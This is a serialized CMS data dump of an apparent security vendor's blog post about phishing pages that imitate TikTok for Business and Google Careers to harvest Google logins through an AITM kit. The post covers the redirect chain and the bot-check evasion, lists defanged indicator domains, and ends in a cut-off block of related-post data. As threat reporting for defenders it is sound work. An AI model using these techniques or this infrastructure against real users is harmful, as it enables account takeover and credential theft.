page.",{"data":87681,"content":87685,"nodeType":925},{"target":87682},{"sys":87683},{"id":87684,"type":922,"linkType":923},"5zoUeGW0zlC7u9vtHolskM",[],{"data":87687,"content":87691,"nodeType":925},{"target":87688},{"sys":87689},{"id":87690,"type":922,"linkType":923},"7eyc9v7xVZzXK8jY53I9li",[],{"data":87693,"content":87697,"nodeType":925},{"target":87694},{"sys":87695},{"id":87696,"type":922,"linkType":923},"37kj78jit44Mp6LCi7tEsC",[],{"data":87699,"content":87703,"nodeType":925},{"target":87700},{"sys":87701},{"id":87702,"type":922,"linkType":923},"4qaPOlBYeIfEoG2OZvl8lI",[],{"data":87705,"content":87709,"nodeType":925},{"target":87706},{"sys":87707},{"id":87708,"type":922,"linkType":923},"7cIFMDwHF2R8vswtJzWdKn",[],{"data":87711,"content":87715,"nodeType":925},{"target":87712},{"sys":87713},{"id":87714,"type":922,"linkType":923},"5YtrhvypdLkcSUoj2IEj24",[],{"data":87717,"content":87721,"nodeType":925},{"target":87718},{"sys":87719},{"id":87720,"type":922,"linkType":923},"7cc4UclvVVW3YuUVB8PpJp",[],{"data":87723,"content":87724,"nodeType":953},{},[],{"data":87726,"content":87727,"nodeType":963},{},[87728],{"data":87729,"marks":87730,"value":87732,"nodeType":865},{},[87731],{"type":961},"Why TikTok???",{"data":87734,"content":87735,"nodeType":866},{},[87736],{"data":87737,"marks":87738,"value":87739,"nodeType":865},{},[],"Given that the majority of phishing pages intercepted by Push tend to replicate core SSO platforms like Google and Microsoft, targeting TikTok is a notable development, though not entirely uncommon. ",{"data":87741,"content":87742,"nodeType":866},{},[87743],{"data":87744,"marks":87745,"value":87746,"nodeType":865},{},[],"TikTok seems a weird choice at first glance. But it makes more sense when we consider that TikTok has been historically abused to distribute malicious links and social engineering instructions. ",{"data":87748,"content":87749,"nodeType":866},{},[87750,87754,87763],{"data":87751,"marks":87752,"value":87753,"nodeType":865},{},[],"This includes multiple infostealers like Vidar, StealC, and Aura Stealer delivered via ClickFix-style instructions with AI-generated videos posed as activation guides for Windows, Spotify, and CapCut. They instructed viewers to open PowerShell and paste commands that downloaded infostealers from bulletproof hosting infrastructure. ",{"data":87755,"content":87757,"nodeType":882},{"uri":87756},"https://thehackernews.com/2025/05/hackers-use-tiktok-videos-to-distribute.html",[87758],{"data":87759,"marks":87760,"value":87762,"nodeType":865},{},[87761],{"type":997},"One video alone",{"data":87764,"marks":87765,"value":87766,"nodeType":865},{},[]," hit ~500,000 views and 20,000+ likes.",{"data":87768,"content":87769,"nodeType":866},{},[87770,87774,87783,87787,87796,87800,87808],{"data":87771,"marks":87772,"value":87773,"nodeType":865},{},[],"It’s also a common hunting ground for crypto scammers, like many other social platforms have historically been abused (most commonly Twitter/X). Many of these are done with the full knowledge and consent of “influencers”, but there are also overtly malicious examples such as ",{"data":87775,"content":87777,"nodeType":882},{"uri":87776},"https://www.bitdefender.com/en-us/blog/hotforsecurity/fake-elon-musk-crypto-giveaway-scam-campaigns-run-rampant-on-tiktok",[87778],{"data":87779,"marks":87780,"value":87782,"nodeType":865},{},[87781],{"type":997},"deepfaked videos of Elon Musk",{"data":87784,"marks":87785,"value":87786,"nodeType":865},{},[]," with overlaid AI-generated audio promoting fake exchanges. ",{"data":87788,"content":87790,"nodeType":882},{"uri":87789},"https://www.malwarebytes.com/blog/news/2025/10/tiktok-scam-sells-you-access-to-your-own-fake-money",[87791],{"data":87792,"marks":87793,"value":87795,"nodeType":865},{},[87794],{"type":997},"TikTok DMs",{"data":87797,"marks":87798,"value":87799,"nodeType":865},{},[],", like ",{"data":87801,"content":87802,"nodeType":882},{"uri":5179},[87803],{"data":87804,"marks":87805,"value":87807,"nodeType":865},{},[87806],{"type":997},"other social media apps",{"data":87809,"marks":87810,"value":87811,"nodeType":865},{},[],", are also a place where attackers can target victims. ",{"data":87813,"content":87814,"nodeType":866},{},[87815],{"data":87816,"marks":87817,"value":87818,"nodeType":865},{},[],"Ultimately, it’s easy to see how access to verified and trustworthy business accounts on TikTok could be abused in the wrong hands. ",{"data":87820,"content":87821,"nodeType":866},{},[87822,87826,87834,87838,87846,87850,87858],{"data":87823,"marks":87824,"value":87825,"nodeType":865},{},[],"It’s worth pointing out too that many/most business users will opt to “log in with Google.” This means that anyone using Google to login to their TikTok account will effectively have both accounts used to distribute ads compromised in one go, opening up the typical ",{"data":87827,"content":87828,"nodeType":882},{"uri":3122},[87829],{"data":87830,"marks":87831,"value":87833,"nodeType":865},{},[87832],{"type":997},"Google Ad Manager exploitation playbook",{"data":87835,"marks":87836,"value":87837,"nodeType":865},{},[]," — as well as accessing any further apps accessible via SSO for data theft and extortion. This has become the standard MO for attackers, in campaigns such as the ",{"data":87839,"content":87840,"nodeType":882},{"uri":19454},[87841],{"data":87842,"marks":87843,"value":87845,"nodeType":865},{},[87844],{"type":997},"Scattered Lapsus$ Hunters AITM phishing",{"data":87847,"marks":87848,"value":87849,"nodeType":865},{},[]," spree earlier this year, and their ",{"data":87851,"content":87852,"nodeType":882},{"uri":29733},[87853],{"data":87854,"marks":87855,"value":87857,"nodeType":865},{},[87856],{"type":997},"recent spate of device code phishing attacks",{"data":87859,"marks":87860,"value":1048,"nodeType":865},{},[],{"data":87862,"content":87865,"nodeType":925},{"target":87863},{"sys":87864},{"id":65271,"type":922,"linkType":923},[],{"data":87867,"content":87868,"nodeType":953},{},[],{"data":87870,"content":87871,"nodeType":963},{},[87872],{"data":87873,"marks":87874,"value":22744,"nodeType":865},{},[87875],{"type":961},{"data":87877,"content":87878,"nodeType":866},{},[87879,87882,87889],{"data":87880,"marks":87881,"value":25047,"nodeType":865},{},[],{"data":87883,"content":87884,"nodeType":882},{"uri":13757},[87885],{"data":87886,"marks":87887,"value":13762,"nodeType":865},{},[87888],{"type":997},{"data":87890,"marks":87891,"value":70887,"nodeType":865},{},[],{"data":87893,"content":87894,"nodeType":866},{},[87895],{"data":87896,"marks":87897,"value":87898,"nodeType":865},{},[],"That said, the domains observed in the initial cluster were:",{"data":87900,"content":87901,"nodeType":1049},{},[87902,87912,87922,87932,87942,87952,87962,87972,87982,87992,88002],{"data":87903,"content":87904,"nodeType":1003},{},[87905],{"data":87906,"content":87907,"nodeType":866},{},[87908],{"data":87909,"marks":87910,"value":87911,"nodeType":865},{},[],"welcome.careerscrews[.]com",{"data":87913,"content":87914,"nodeType":1003},{},[87915],{"data":87916,"content":87917,"nodeType":866},{},[87918],{"data":87919,"marks":87920,"value":87921,"nodeType":865},{},[],"welcome.careerstaffer[.]com",{"data":87923,"content":87924,"nodeType":1003},{},[87925],{"data":87926,"content":87927,"nodeType":866},{},[87928],{"data":87929,"marks":87930,"value":87931,"nodeType":865},{},[],"welcome.careersworkflow[.]com",{"data":87933,"content":87934,"nodeType":1003},{},[87935],{"data":87936,"content":87937,"nodeType":866},{},[87938],{"data":87939,"marks":87940,"value":87941,"nodeType":865},{},[],"welcome.careerstransform[.]com",{"data":87943,"content":87944,"nodeType":1003},{},[87945],{"data":87946,"content":87947,"nodeType":866},{},[87948],{"data":87949,"marks":87950,"value":87951,"nodeType":865},{},[],"welcome.careersupskill[.]com",{"data":87953,"content":87954,"nodeType":1003},{},[87955],{"data":87956,"content":87957,"nodeType":866},{},[87958],{"data":87959,"marks":87960,"value":87961,"nodeType":865},{},[],"welcome.careerssuccess[.]com",{"data":87963,"content":87964,"nodeType":1003},{},[87965],{"data":87966,"content":87967,"nodeType":866},{},[87968],{"data":87969,"marks":87970,"value":87971,"nodeType":865},{},[],"welcome.careersstaffgrid[.]com",{"data":87973,"content":87974,"nodeType":1003},{},[87975],{"data":87976,"content":87977,"nodeType":866},{},[87978],{"data":87979,"marks":87980,"value":87981,"nodeType":865},{},[],"welcome.careersprogress[.]com",{"data":87983,"content":87984,"nodeType":1003},{},[87985],{"data":87986,"content":87987,"nodeType":866},{},[87988],{"data":87989,"marks":87990,"value":87991,"nodeType":865},{},[],"welcome.careersgrower[.]com",{"data":87993,"content":87994,"nodeType":1003},{},[87995],{"data":87996,"content":87997,"nodeType":866},{},[87998],{"data":87999,"marks":88000,"value":88001,"nodeType":865},{},[],"welcome.careersengage[.]com",{"data":88003,"content":88004,"nodeType":1003},{},[88005],{"data":88006,"content":88007,"nodeType":866},{},[88008],{"data":88009,"marks":88010,"value":87911,"nodeType":865},{},[],{"data":88012,"content":88013,"nodeType":866},{},[88014],{"data":88015,"marks":88016,"value":88017,"nodeType":865},{},[],"Since the pages are all hosted in a single Google Storage bucket, any linked pages/files should be considered to be malicious.",{"data":88019,"content":88020,"nodeType":1049},{},[88021],{"data":88022,"content":88023,"nodeType":1003},{},[88024],{"data":88025,"content":88026,"nodeType":866},{},[88027],{"data":88028,"marks":88029,"value":88030,"nodeType":865},{},[],"storage.googleapis[.]com/fiz2a4s014vt8q4l5i0m1m7b0gl/",{"data":88032,"content":88033,"nodeType":866},{},[88034],{"data":88035,"marks":88036,"value":13704,"nodeType":865},{},[88037],{"type":961},{"data":88039,"content":88040,"nodeType":953},{},[],{"data":88042,"content":88043,"nodeType":963},{},[88044],{"data":88045,"marks":88046,"value":65314,"nodeType":865},{},[88047],{"type":961},{"data":88049,"content":88050,"nodeType":866},{},[88051],{"data":88052,"marks":88053,"value":22676,"nodeType":865},{},[],{"data":88055,"content":88056,"nodeType":866},{},[88057],{"data":88058,"marks":88059,"value":32394,"nodeType":865},{},[],{"data":88061,"content":88062,"nodeType":866},{},[88063,88066,88073,88076,88083,88086,88093],{"data":88064,"marks":88065,"value":32401,"nodeType":865},{},[],{"data":88067,"content":88068,"nodeType":882},{"uri":22700},[88069],{"data":88070,"marks":88071,"value":22706,"nodeType":865},{},[88072],{"type":997},{"data":88074,"marks":88075,"value":2186,"nodeType":865},{},[],{"data":88077,"content":88078,"nodeType":882},{"uri":22712},[88079],{"data":88080,"marks":88081,"value":32419,"nodeType":865},{},[88082],{"type":997},{"data":88084,"marks":88085,"value":22722,"nodeType":865},{},[],{"data":88087,"content":88088,"nodeType":882},{"uri":1728},[88089],{"data":88090,"marks":88091,"value":22730,"nodeType":865},{},[88092],{"type":997},{"data":88094,"marks":88095,"value":1048,"nodeType":865},{},[],{"data":88097,"content":88101,"nodeType":925},{"target":88098},{"sys":88099},{"id":88100,"type":922,"linkType":923},"7ccfmP2yXXmtC1R5BLmKYg",[],{"data":88103,"content":88104,"nodeType":866},{},[88105],{"data":88106,"marks":88107,"value":21,"nodeType":865},{},[],{"entries":88109},{"hyperlink":88110,"inline":88111,"block":88112},[],[],[88113,88151,88155,88162,88168,88173,88179,88185,88191,88196,88200],{"sys":88114,"__typename":9270,"content":88115,"name":88150,"title":59},{"id":87569},{"json":88116},{"data":88117,"content":88118,"nodeType":1739},{},[88119],{"data":88120,"content":88121,"nodeType":866},{},[88122,88126,88134,88138,88146],{"data":88123,"marks":88124,"value":88125,"nodeType":865},{},[],"We’ve ",{"data":88127,"content":88128,"nodeType":882},{"uri":13433},[88129],{"data":88130,"marks":88131,"value":88133,"nodeType":865},{},[88132],{"type":997},"reported extensively",{"data":88135,"marks":88136,"value":88137,"nodeType":865},{},[]," about malvertising scams in the past — particularly targeting Google Ad Manager accounts. Attackers take over Ad Manager accounts and use them to deploy even more malicious ads, harvesting account credentials via AITM phishing pages and ClickFix-style malware delivery (dropping infostealers and remote access tools). They also run ",{"data":88139,"content":88140,"nodeType":882},{"uri":3122},[88141],{"data":88142,"marks":88143,"value":88145,"nodeType":865},{},[88144],{"type":997},"ad fraud campaigns",{"data":88147,"marks":88148,"value":88149,"nodeType":865},{},[]," siphoning company ad budgets into their own pockets. ","Tiktok phishing insight box 1",{"sys":88152,"__typename":12453,"title":88153,"arcadeDemoUrl":88154,"playText":18213},{"id":87663},"Tiktok phishing demo","https://demo.arcade.software/i0NCDltufFhv8xouaTxr?embed",{"sys":88156,"__typename":1747,"title":88157,"caption":88157,"layoutMode":59,"file":88158},{"id":87684},"Push example detection timeline showing the initial redirect. In this example Push was configured to Monitor only mode, rather than Block mode.",{"url":88159,"width":88160,"height":88161},"https://images.ctfassets.net/y1cdw1ablpvd/5WAwawK6I0Ez56HE9icvO4/6ad8fedf0c6b72b29b1664ea854593be/image8.png",1802,954,{"sys":88163,"__typename":1747,"title":88164,"caption":88164,"layoutMode":59,"file":88165},{"id":87690},"Initial Cloudflare Turnstile bot check to block security bots from analyzing the page.",{"url":88166,"width":1759,"height":88167},"https://images.ctfassets.net/y1cdw1ablpvd/28rZywTFT0ro4dhWPCfwAJ/6a8342f9bb785db5ed8677939921645d/image6.png",1131,{"sys":88169,"__typename":1747,"title":88170,"caption":88170,"layoutMode":59,"file":88171},{"id":87696},"TikTok for Business themed page.",{"url":88172,"width":1759,"height":12295},"https://images.ctfassets.net/y1cdw1ablpvd/7uoSoE5xwXEBA3tCIOReTX/3e8b06e18097f8625f3edaa92ba770d1/image2.png",{"sys":88174,"__typename":1747,"title":88175,"caption":88175,"layoutMode":59,"file":88176},{"id":87702},"Google Careers themed landing page.",{"url":88177,"width":1759,"height":88178},"https://images.ctfassets.net/y1cdw1ablpvd/5NQmzcYtnsqONZFMljk1Z8/354a8721f4c2195c1aa88b3258a073f1/image1.png",1213,{"sys":88180,"__typename":1747,"title":88181,"caption":88181,"layoutMode":59,"file":88182},{"id":87708},"TikTok for Business themed login page.  The fake page has replaced the “Log in with TikTok” button with “Log in with Google”. ",{"url":88183,"width":1759,"height":88184},"https://images.ctfassets.net/y1cdw1ablpvd/5rDbxr6ZkcbGv2f6opf6TE/c6997fa3fe50426dae17c6578e2c04f1/image4.png",1191,{"sys":88186,"__typename":1747,"title":88187,"caption":88187,"layoutMode":59,"file":88188},{"id":87714},"The TikTok login page has input validation that requires a business email address.",{"url":88189,"width":1759,"height":88190},"https://images.ctfassets.net/y1cdw1ablpvd/1ba6sQzfR3hjeQHyx8zjae/f588da1242c68ea03ee149d489ee272e/image7.png",1127,{"sys":88192,"__typename":1747,"title":88193,"caption":88193,"layoutMode":59,"file":88194},{"id":87720},"Cloned Google login page hosting an AITM phishing kit.",{"url":88195,"width":1759,"height":12295},"https://images.ctfassets.net/y1cdw1ablpvd/6aGrOKJBuwAPalVYgx4P9u/41a456ba585767c6af8637bab392cabf/image5.png",{"sys":88197,"__typename":5631,"type":5632,"ctaText":88198,"buttonLabel":88199,"buttonColour":5635,"buttonUrl":27},{"id":65271},"Learn about the browser attack techniques security teams must contend with in 2026","Get the Report",{"sys":88201,"__typename":5631,"type":5632,"ctaText":88202,"buttonLabel":88203,"buttonColour":5635,"buttonUrl":52},{"id":88100},"Get ahead of the latest browser attacks with our new webinar series, featuring guest experts John Hammond, Troy Hunt, Matt Johansen, and more!","Register Now",{"items":88205},[],{},"Business TikTok accounts targeted with AITM phishing kits","2026-03-26T00:00:00.000Z",{"items":88210},[88211,89039,89938],{"__typename":1788,"sys":88212,"content":88213,"title":74729,"synopsis":74730,"hashTags":59,"publishedDate":74731,"slug":74732,"tagsCollection":89029,"authorsCollection":89035},{"id":73788},{"json":88214},{"data":88215,"content":88216,"nodeType":1739},{},[88217,88223,88229,88235,88238,88245,88251,88257,88262,88268,88273,88289,88295,88305,88308,88315,88321,88334,88340,88350,88355,88358,88365,88372,88377,88385,88401,88409,88415,88423,88438,88446,88452,88460,88486,88494,88500,88508,88524,88529,88537,88543,88551,88584,88587,88594,88602,88618,88626,88632,88640,88666,88671,88679,88685,88690,88693,88700,88708,88714,88765,88770,88773,88780,88788,88794,88799,88802,88809,88815,88821,88881,88887,88942,88948,88951,88958,88964,88970,88975,88978,88985,88991,88997,89003],{"data":88218,"content":88219,"nodeType":866},{},[88220],{"data":88221,"marks":88222,"value":73799,"nodeType":865},{},[],{"data":88224,"content":88225,"nodeType":866},{},[88226],{"data":88227,"marks":88228,"value":73806,"nodeType":865},{},[],{"data":88230,"content":88231,"nodeType":866},{},[88232],{"data":88233,"marks":88234,"value":73813,"nodeType":865},{},[],{"data":88236,"content":88237,"nodeType":953},{},[],{"data":88239,"content":88240,"nodeType":963},{},[88241],{"data":88242,"marks":88243,"value":73824,"nodeType":865},{},[88244],{"type":961},{"data":88246,"content":88247,"nodeType":866},{},[88248],{"data":88249,"marks":88250,"value":73831,"nodeType":865},{},[],{"data":88252,"content":88253,"nodeType":866},{},[88254],{"data":88255,"marks":88256,"value":73838,"nodeType":865},{},[],{"data":88258,"content":88261,"nodeType":925},{"target":88259},{"sys":88260},{"id":73843,"type":922,"linkType":923},[],{"data":88263,"content":88264,"nodeType":866},{},[88265],{"data":88266,"marks":88267,"value":73851,"nodeType":865},{},[],{"data":88269,"content":88272,"nodeType":925},{"target":88270},{"sys":88271},{"id":73856,"type":922,"linkType":923},[],{"data":88274,"content":88275,"nodeType":866},{},[88276,88279,88286],{"data":88277,"marks":88278,"value":73864,"nodeType":865},{},[],{"data":88280,"content":88281,"nodeType":882},{"uri":39517},[88282],{"data":88283,"marks":88284,"value":73872,"nodeType":865},{},[88285],{"type":997},{"data":88287,"marks":88288,"value":73876,"nodeType":865},{},[],{"data":88290,"content":88291,"nodeType":866},{},[88292],{"data":88293,"marks":88294,"value":73883,"nodeType":865},{},[],{"data":88296,"content":88297,"nodeType":866},{},[88298,88301],{"data":88299,"marks":88300,"value":73890,"nodeType":865},{},[],{"data":88302,"marks":88303,"value":73895,"nodeType":865},{},[88304],{"type":961},{"data":88306,"content":88307,"nodeType":953},{},[],{"data":88309,"content":88310,"nodeType":963},{},[88311],{"data":88312,"marks":88313,"value":73906,"nodeType":865},{},[88314],{"type":961},{"data":88316,"content":88317,"nodeType":866},{},[88318],{"data":88319,"marks":88320,"value":73913,"nodeType":865},{},[],{"data":88322,"content":88323,"nodeType":866},{},[88324,88327,88331],{"data":88325,"marks":88326,"value":73920,"nodeType":865},{},[],{"data":88328,"marks":88329,"value":73925,"nodeType":865},{},[88330],{"type":961},{"data":88332,"marks":88333,"value":73929,"nodeType":865},{},[],{"data":88335,"content":88336,"nodeType":866},{},[88337],{"data":88338,"marks":88339,"value":73936,"nodeType":865},{},[],{"data":88341,"content":88342,"nodeType":866},{},[88343,88346],{"data":88344,"marks":88345,"value":73943,"nodeType":865},{},[],{"data":88347,"marks":88348,"value":73948,"nodeType":865},{},[88349],{"type":961},{"data":88351,"content":88354,"nodeType":925},{"target":88352},{"sys":88353},{"id":73953,"type":922,"linkType":923},[],{"data":88356,"content":88357,"nodeType":953},{},[],{"data":88359,"content":88360,"nodeType":963},{},[88361],{"data":88362,"marks":88363,"value":73965,"nodeType":865},{},[88364],{"type":961},{"data":88366,"content":88367,"nodeType":1458},{},[88368],{"data":88369,"marks":88370,"value":73973,"nodeType":865},{},[88371],{"type":961},{"data":88373,"content":88376,"nodeType":925},{"target":88374},{"sys":88375},{"id":73978,"type":922,"linkType":923},[],{"data":88378,"content":88379,"nodeType":866},{},[88380],{"data":88381,"marks":88382,"value":73988,"nodeType":865},{},[88383,88384],{"type":961},{"type":997},{"data":88386,"content":88387,"nodeType":866},{},[88388,88391,88398],{"data":88389,"marks":88390,"value":73995,"nodeType":865},{},[],{"data":88392,"content":88393,"nodeType":882},{"uri":73998},[88394],{"data":88395,"marks":88396,"value":74004,"nodeType":865},{},[88397],{"type":997},{"data":88399,"marks":88400,"value":74008,"nodeType":865},{},[],{"data":88402,"content":88403,"nodeType":866},{},[88404],{"data":88405,"marks":88406,"value":74017,"nodeType":865},{},[88407,88408],{"type":961},{"type":997},{"data":88410,"content":88411,"nodeType":866},{},[88412],{"data":88413,"marks":88414,"value":74024,"nodeType":865},{},[],{"data":88416,"content":88417,"nodeType":866},{},[88418],{"data":88419,"marks":88420,"value":74033,"nodeType":865},{},[88421,88422],{"type":961},{"type":997},{"data":88424,"content":88425,"nodeType":866},{},[88426,88429,88435],{"data":88427,"marks":88428,"value":74040,"nodeType":865},{},[],{"data":88430,"content":88431,"nodeType":882},{"uri":74043},[88432],{"data":88433,"marks":88434,"value":74048,"nodeType":865},{},[],{"data":88436,"marks":88437,"value":74052,"nodeType":865},{},[],{"data":88439,"content":88440,"nodeType":866},{},[88441],{"data":88442,"marks":88443,"value":74061,"nodeType":865},{},[88444,88445],{"type":961},{"type":997},{"data":88447,"content":88448,"nodeType":866},{},[88449],{"data":88450,"marks":88451,"value":74068,"nodeType":865},{},[],{"data":88453,"content":88454,"nodeType":866},{},[88455],{"data":88456,"marks":88457,"value":74077,"nodeType":865},{},[88458,88459],{"type":961},{"type":997},{"data":88461,"content":88462,"nodeType":866},{},[88463,88466,88473,88476,88483],{"data":88464,"marks":88465,"value":74084,"nodeType":865},{},[],{"data":88467,"content":88468,"nodeType":882},{"uri":3904},[88469],{"data":88470,"marks":88471,"value":74092,"nodeType":865},{},[88472],{"type":997},{"data":88474,"marks":88475,"value":74096,"nodeType":865},{},[],{"data":88477,"content":88478,"nodeType":882},{"uri":74099},[88479],{"data":88480,"marks":88481,"value":10345,"nodeType":865},{},[88482],{"type":997},{"data":88484,"marks":88485,"value":74108,"nodeType":865},{},[],{"data":88487,"content":88488,"nodeType":866},{},[88489],{"data":88490,"marks":88491,"value":74117,"nodeType":865},{},[88492,88493],{"type":961},{"type":997},{"data":88495,"content":88496,"nodeType":866},{},[88497],{"data":88498,"marks":88499,"value":74124,"nodeType":865},{},[],{"data":88501,"content":88502,"nodeType":866},{},[88503],{"data":88504,"marks":88505,"value":74133,"nodeType":865},{},[88506,88507],{"type":961},{"type":997},{"data":88509,"content":88510,"nodeType":866},{},[88511,88514,88521],{"data":88512,"marks":88513,"value":74140,"nodeType":865},{},[],{"data":88515,"content":88516,"nodeType":882},{"uri":74099},[88517],{"data":88518,"marks":88519,"value":10345,"nodeType":865},{},[88520],{"type":997},{"data":88522,"marks":88523,"value":74151,"nodeType":865},{},[],{"data":88525,"content":88528,"nodeType":925},{"target":88526},{"sys":88527},{"id":74156,"type":922,"linkType":923},[],{"data":88530,"content":88531,"nodeType":866},{},[88532],{"data":88533,"marks":88534,"value":74166,"nodeType":865},{},[88535,88536],{"type":961},{"type":997},{"data":88538,"content":88539,"nodeType":866},{},[88540],{"data":88541,"marks":88542,"value":74173,"nodeType":865},{},[],{"data":88544,"content":88545,"nodeType":866},{},[88546],{"data":88547,"marks":88548,"value":74182,"nodeType":865},{},[88549,88550],{"type":961},{"type":997},{"data":88552,"content":88553,"nodeType":866},{},[88554,88557,88563,88566,88572,88575,88581],{"data":88555,"marks":88556,"value":74189,"nodeType":865},{},[],{"data":88558,"content":88559,"nodeType":882},{"uri":74192},[88560],{"data":88561,"marks":88562,"value":74197,"nodeType":865},{},[],{"data":88564,"marks":88565,"value":8756,"nodeType":865},{},[],{"data":88567,"content":88568,"nodeType":882},{"uri":74203},[88569],{"data":88570,"marks":88571,"value":74208,"nodeType":865},{},[],{"data":88573,"marks":88574,"value":74212,"nodeType":865},{},[],{"data":88576,"content":88577,"nodeType":882},{"uri":19454},[88578],{"data":88579,"marks":88580,"value":74219,"nodeType":865},{},[],{"data":88582,"marks":88583,"value":74223,"nodeType":865},{},[],{"data":88585,"content":88586,"nodeType":953},{},[],{"data":88588,"content":88589,"nodeType":1458},{},[88590],{"data":88591,"marks":88592,"value":74234,"nodeType":865},{},[88593],{"type":961},{"data":88595,"content":88596,"nodeType":866},{},[88597],{"data":88598,"marks":88599,"value":74243,"nodeType":865},{},[88600,88601],{"type":961},{"type":997},{"data":88603,"content":88604,"nodeType":866},{},[88605,88608,88615],{"data":88606,"marks":88607,"value":74250,"nodeType":865},{},[],{"data":88609,"content":88610,"nodeType":882},{"uri":74253},[88611],{"data":88612,"marks":88613,"value":74259,"nodeType":865},{},[88614],{"type":997},{"data":88616,"marks":88617,"value":74263,"nodeType":865},{},[],{"data":88619,"content":88620,"nodeType":866},{},[88621],{"data":88622,"marks":88623,"value":74272,"nodeType":865},{},[88624,88625],{"type":961},{"type":997},{"data":88627,"content":88628,"nodeType":866},{},[88629],{"data":88630,"marks":88631,"value":74279,"nodeType":865},{},[],{"data":88633,"content":88634,"nodeType":866},{},[88635],{"data":88636,"marks":88637,"value":74288,"nodeType":865},{},[88638,88639],{"type":961},{"type":997},{"data":88641,"content":88642,"nodeType":866},{},[88643,88646,88653,88656,88663],{"data":88644,"marks":88645,"value":74295,"nodeType":865},{},[],{"data":88647,"content":88648,"nodeType":882},{"uri":74298},[88649],{"data":88650,"marks":88651,"value":74304,"nodeType":865},{},[88652],{"type":997},{"data":88654,"marks":88655,"value":74308,"nodeType":865},{},[],{"data":88657,"content":88658,"nodeType":882},{"uri":74311},[88659],{"data":88660,"marks":88661,"value":74317,"nodeType":865},{},[88662],{"type":997},{"data":88664,"marks":88665,"value":74321,"nodeType":865},{},[],{"data":88667,"content":88670,"nodeType":925},{"target":88668},{"sys":88669},{"id":74326,"type":922,"linkType":923},[],{"data":88672,"content":88673,"nodeType":866},{},[88674],{"data":88675,"marks":88676,"value":74336,"nodeType":865},{},[88677,88678],{"type":961},{"type":997},{"data":88680,"content":88681,"nodeType":866},{},[88682],{"data":88683,"marks":88684,"value":74343,"nodeType":865},{},[],{"data":88686,"content":88689,"nodeType":925},{"target":88687},{"sys":88688},{"id":74348,"type":922,"linkType":923},[],{"data":88691,"content":88692,"nodeType":953},{},[],{"data":88694,"content":88695,"nodeType":1458},{},[88696],{"data":88697,"marks":88698,"value":694,"nodeType":865},{},[88699],{"type":961},{"data":88701,"content":88702,"nodeType":866},{},[88703],{"data":88704,"marks":88705,"value":74368,"nodeType":865},{},[88706,88707],{"type":961},{"type":997},{"data":88709,"content":88710,"nodeType":866},{},[88711],{"data":88712,"marks":88713,"value":74375,"nodeType":865},{},[],{"data":88715,"content":88716,"nodeType":1049},{},[88717,88730,88743],{"data":88718,"content":88719,"nodeType":1003},{},[88720],{"data":88721,"content":88722,"nodeType":866},{},[88723,88727],{"data":88724,"marks":88725,"value":74389,"nodeType":865},{},[88726],{"type":961},{"data":88728,"marks":88729,"value":74393,"nodeType":865},{},[],{"data":88731,"content":88732,"nodeType":1003},{},[88733],{"data":88734,"content":88735,"nodeType":866},{},[88736,88740],{"data":88737,"marks":88738,"value":74404,"nodeType":865},{},[88739],{"type":961},{"data":88741,"marks":88742,"value":74408,"nodeType":865},{},[],{"data":88744,"content":88745,"nodeType":1003},{},[88746],{"data":88747,"content":88748,"nodeType":866},{},[88749,88753,88756,88762],{"data":88750,"marks":88751,"value":74419,"nodeType":865},{},[88752],{"type":961},{"data":88754,"marks":88755,"value":74423,"nodeType":865},{},[],{"data":88757,"content":88758,"nodeType":882},{"uri":64109},[88759],{"data":88760,"marks":88761,"value":74430,"nodeType":865},{},[],{"data":88763,"marks":88764,"value":74434,"nodeType":865},{},[],{"data":88766,"content":88769,"nodeType":925},{"target":88767},{"sys":88768},{"id":74439,"type":922,"linkType":923},[],{"data":88771,"content":88772,"nodeType":953},{},[],{"data":88774,"content":88775,"nodeType":1458},{},[88776],{"data":88777,"marks":88778,"value":699,"nodeType":865},{},[88779],{"type":961},{"data":88781,"content":88782,"nodeType":866},{},[88783],{"data":88784,"marks":88785,"value":74459,"nodeType":865},{},[88786,88787],{"type":961},{"type":997},{"data":88789,"content":88790,"nodeType":866},{},[88791],{"data":88792,"marks":88793,"value":74466,"nodeType":865},{},[],{"data":88795,"content":88798,"nodeType":925},{"target":88796},{"sys":88797},{"id":74471,"type":922,"linkType":923},[],{"data":88800,"content":88801,"nodeType":953},{},[],{"data":88803,"content":88804,"nodeType":963},{},[88805],{"data":88806,"marks":88807,"value":38047,"nodeType":865},{},[88808],{"type":961},{"data":88810,"content":88811,"nodeType":866},{},[88812],{"data":88813,"marks":88814,"value":74489,"nodeType":865},{},[],{"data":88816,"content":88817,"nodeType":866},{},[88818],{"data":88819,"marks":88820,"value":74496,"nodeType":865},{},[],{"data":88822,"content":88823,"nodeType":1049},{},[88824,88843,88862],{"data":88825,"content":88826,"nodeType":1003},{},[88827],{"data":88828,"content":88829,"nodeType":866},{},[88830,88833,88840],{"data":88831,"marks":88832,"value":74509,"nodeType":865},{},[],{"data":88834,"content":88835,"nodeType":882},{"uri":74512},[88836],{"data":88837,"marks":88838,"value":29673,"nodeType":865},{},[88839],{"type":997},{"data":88841,"marks":88842,"value":23156,"nodeType":865},{},[],{"data":88844,"content":88845,"nodeType":1003},{},[88846],{"data":88847,"content":88848,"nodeType":866},{},[88849,88852,88859],{"data":88850,"marks":88851,"value":74530,"nodeType":865},{},[],{"data":88853,"content":88854,"nodeType":882},{"uri":74533},[88855],{"data":88856,"marks":88857,"value":74539,"nodeType":865},{},[88858],{"type":997},{"data":88860,"marks":88861,"value":23156,"nodeType":865},{},[],{"data":88863,"content":88864,"nodeType":1003},{},[88865],{"data":88866,"content":88867,"nodeType":866},{},[88868,88871,88878],{"data":88869,"marks":88870,"value":74552,"nodeType":865},{},[],{"data":88872,"content":88873,"nodeType":882},{"uri":3240},[88874],{"data":88875,"marks":88876,"value":74560,"nodeType":865},{},[88877],{"type":997},{"data":88879,"marks":88880,"value":23156,"nodeType":865},{},[],{"data":88882,"content":88883,"nodeType":866},{},[88884],{"data":88885,"marks":88886,"value":74570,"nodeType":865},{},[],{"data":88888,"content":88889,"nodeType":1049},{},[88890,88903,88916,88929],{"data":88891,"content":88892,"nodeType":1003},{},[88893],{"data":88894,"content":88895,"nodeType":866},{},[88896,88900],{"data":88897,"marks":88898,"value":74584,"nodeType":865},{},[88899],{"type":961},{"data":88901,"marks":88902,"value":74588,"nodeType":865},{},[],{"data":88904,"content":88905,"nodeType":1003},{},[88906],{"data":88907,"content":88908,"nodeType":866},{},[88909,88913],{"data":88910,"marks":88911,"value":74599,"nodeType":865},{},[88912],{"type":961},{"data":88914,"marks":88915,"value":74603,"nodeType":865},{},[],{"data":88917,"content":88918,"nodeType":1003},{},[88919],{"data":88920,"content":88921,"nodeType":866},{},[88922,8